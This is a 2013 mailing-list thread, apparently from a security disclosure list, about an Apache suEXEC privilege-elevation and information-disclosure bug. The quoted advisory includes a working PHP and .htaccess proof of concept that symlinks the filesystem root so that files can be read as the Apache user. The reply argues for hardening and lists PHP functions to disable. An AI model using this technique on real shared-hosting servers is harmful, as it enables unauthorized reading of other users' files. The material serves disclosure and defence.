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Date: Fri, 09 Aug 2013 12:59:26 +0200
From: Reindl Harald <>
To: Kingcope <>
Cc: "" <>,
 "" <>
Subject: Re: Apache suEXEC privilege elevation /
	information disclosure

Am 09.08.2013 09:29, schrieb Kingcope:
> So what your Emails Tell me is better ignore this vulnerability. I dont Claim its a High severity Bug but if you Tell People to ignore it Because it isnt a vulnerability you are very much aiding the Chaos of insecurity in the Internet today. You Maybe have a Secure Setting but theres only you on the Planet. Attackers Look specifically for such Bugs to Open Servers. No Wonder we have compromises in a High Scale every Day due to this ignorance. My rant on that One.

>> The above php script will simply create a symbolic link to '/'
>> A request to test99.php/etc/testapache done with a web browser shows..
>> voila! read with the apache uid/gid

if the script is possible to do so the admin did not his homework
on shared servers have symlink amd system-functions to be disabled


disable_functions  = "exec, passthru, shell_exec, system, proc_open, proc_close, proc_nice, proc_terminate,
proc_get_status, pcntl_exec, apache_child_terminate, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid,
posix_setuid, mail, symlink, link, dl, get_current_user, getmypid, getmyuid, getrusage, pfsockopen, socket_accept,
socket_bind, openlog, syslog"

> Am 07.08.2013 um 21:49 schrieb king cope <>:
>> Apache suEXEC privilege elevation / information disclosure
>> Discovered by Kingcope/Aug 2013
>> The suEXEC feature provides Apache users the ability to run CGI and SSI programs
>> under user IDs different from the user ID of the calling web server. Normally,
>> when a CGI or SSI program executes, it runs as the same user who is running the
>> web server.
>> Used properly, this feature can reduce considerably the security risks involved
>> with allowing users to develop and run private CGI or SSI programs.
>> With this bug an attacker who is able to run php or cgi code inside a web
>> hosting environment and the environment is configured to use suEXEC as a
>> protection mechanism, he/she is able to read any file and directory on the file-
>> system of the UNIX/Linux system with the user and group id of the
>> apache web server.
>> Normally php and cgi scripts are not allowed to read files with the apache user-
>> id inside a suEXEC configured environment.
>> Take for example this apache owned file and the php script that follows.
>> $ ls -la /etc/testapache
>> -rw------- 1 www-data www-data 36 Aug  7 16:28 /etc/testapache
>> only user www-data should be able to read this file.
>> $ cat test.php
>> <?php
>>        system("id; cat /etc/testapache");
>> ?>
>> When calling the php file using a webbrowser it will show...
>> uid=1002(example) gid=1002(example) groups=1002(example)
>> because the php script is run trough suEXEC.
>> The script will not output the file requested because of a permissions error.
>> Now if we create a .htaccess file with the content...
>> Options Indexes FollowSymLinks
>> and a php script with the content...
>> <?php
>>        system("ln -sf / test99.php");
>>        symlink("/", "test99.php"); // try builtin function in case when
>>                                    //system() is blocked
>> ?>
>> in the same folder
>> ..we can access the root filesystem with the apache uid,gid by
>> requesting test99.php.
>> The above php script will simply create a symbolic link to '/'.
>> A request to test99.php/etc/testapache done with a web browser shows..
>> voila! read with the apache uid/gid
>> The reason we can now read out any files and traverse directories owned by the
>> apache user is because apache httpd displays symlinks and directory listings
>> without querying suEXEC.
>> It is not possible to write to files in this case.
>> Version notes. Assumed is that all Apache versions are affected by this bug.
>> apache2 -V
>> Server version: Apache/2.2.22 (Debian)
>> Server built:   Mar  4 2013 21:32:32
>> Server's Module Magic Number: 20051115:30
>> Server loaded:  APR 1.4.6, APR-Util 1.4.1
>> Compiled using: APR 1.4.6, APR-Util 1.4.1
>> Architecture:   32-bit
>> Server MPM:     Worker
>>  threaded:     yes (fixed thread count)
>>    forked:     yes (variable process count)
>> Server compiled with....
>> -D APACHE_MPM_DIR="server/mpm/worker"
>> -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
>> -D HTTPD_ROOT="/etc/apache2"
>> -D SUEXEC_BIN="/usr/lib/apache2/suexec"
>> -D DEFAULT_PIDLOG="/var/run/"
>> -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
>> -D DEFAULT_ERRORLOG="logs/error_log"
>> -D AP_TYPES_CONFIG_FILE="mime.types"
>> -D SERVER_CONFIG_FILE="apache2.conf"
>> Cheers,
>> /Kingcope

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